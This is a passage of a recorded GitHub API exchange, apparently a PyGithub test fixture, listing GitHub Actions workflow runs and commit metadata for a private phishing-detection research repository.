DASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":248227871,"node_id":"MDExOldvcmtmbG93UnVuMjQ4MjI3ODcx","head_branch":"l_tree","head_sha":"bf464bfed6249e2b950c2e58f439198228185703","run_number":186,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1732356,"check_suite_id":1172195719,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMTcyMTk1NzE5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/248227871","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/248227871","pull_requests":[],"created_at":"2020-09-10T14:43:20Z","updated_at":"2020-09-10T14:46:36Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/248227871/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/248227871/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1172195719","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/248227871/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/248227871/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/248227871/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"bf464bfed6249e2b950c2e58f439198228185703","tree_id":"8fdfaa09825f6e8e99e7799c30ad15778bb87e55","message":"Merge branch 'master' into l_tree","timestamp":"2020-09-10T14:43:16Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} - +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runs?actor=xzhou29 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a84f98b3e45685a627394e6d4fbfd8b444bd5d44c23e5ddcf0677fba2c8de447"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4908'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '92'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14E:3C28:8EC09:F51B8:5F987C9E')] +{"total_count":23,"workflow_runs":[{"id":226142695,"node_id":"MDExOldvcmtmbG93UnVuMjI2MTQyNjk1","head_branch":"master","head_sha":"a46c296b2c5703c38343133c6006695ec6675de3","run_number":752,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1103983611,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMTAzOTgzNjEx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/226142695","pull_requests":[],"created_at":"2020-08-26T23:15:50Z","updated_at":"2020-08-26T23:26:16Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1103983611","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a46c296b2c5703c38343133c6006695ec6675de3","tree_id":"240605e0c76f5d41da26d173eb5f1ff1ef6bfd4f","message":"Removed Dependency on Chrome (#189)\n\n* Removed selenium dependency\r\n\r\n* Added test\r\n\r\n* Mocked whois test\r\n\r\n* Updated feature extraction code\r\n\r\n* Removed duplicate feature call\r\n\r\n* Removed chromedriver\r\n\r\n* Updated the changelog\r\n\r\n* Formatted file\r\n\r\n* Removed HTTPResponse namedtuple\r\n\r\n* Removed extra import\r\n\r\n* Added documentation\r\n\r\n* Cleaned up test\r\n\r\n* Added basic docstring for input.url_input\r\n\r\n* Incremented version number","timestamp":"2020-08-26T20:41:07Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":225974587,"node_id":"MDExOldvcmtmbG93UnVuMjI1OTc0NTg3","head_branch":"master","head_sha":"a46c296b2c5703c38343133c6006695ec6675de3","run_number":747,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1103445148,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMTAzNDQ1MTQ4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/225974587","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/225974587","pull_requests":[],"created_at":"2020-08-26T20:41:10Z","updated_at":"2020-08-26T22:09:33Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/225974587/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/225974587/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1103445148","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/225974587/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/225974587/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/225974587/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a46c296b2c5703c38343133c6006695ec6675de3","tree_id":"240605e0c76f5d41da26d173eb5f1ff1ef6bfd4f","message":"Removed Dependency on Chrome (#189)\n\n* Removed selenium dependency\r\n\r\n* Added test\r\n\r\n* Mocked whois test\r\n\r\n* Updated feature extraction code\r\n\r\n* Removed duplicate feature call\r\n\r\n* Removed chromedriver\r\n\r\n* Updated the changelog\r\n\r\n* Formatted file\r\n\r\n* Removed HTTPResponse namedtuple\r\n\r\n* Removed extra import\r\n\r\n* Added documentation\r\n\r\n* Cleaned up test\r\n\r\n* Added basic docstring for input.url_input\r\n\r\n* Incremented version number","timestamp":"2020-08-26T20:41:07Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/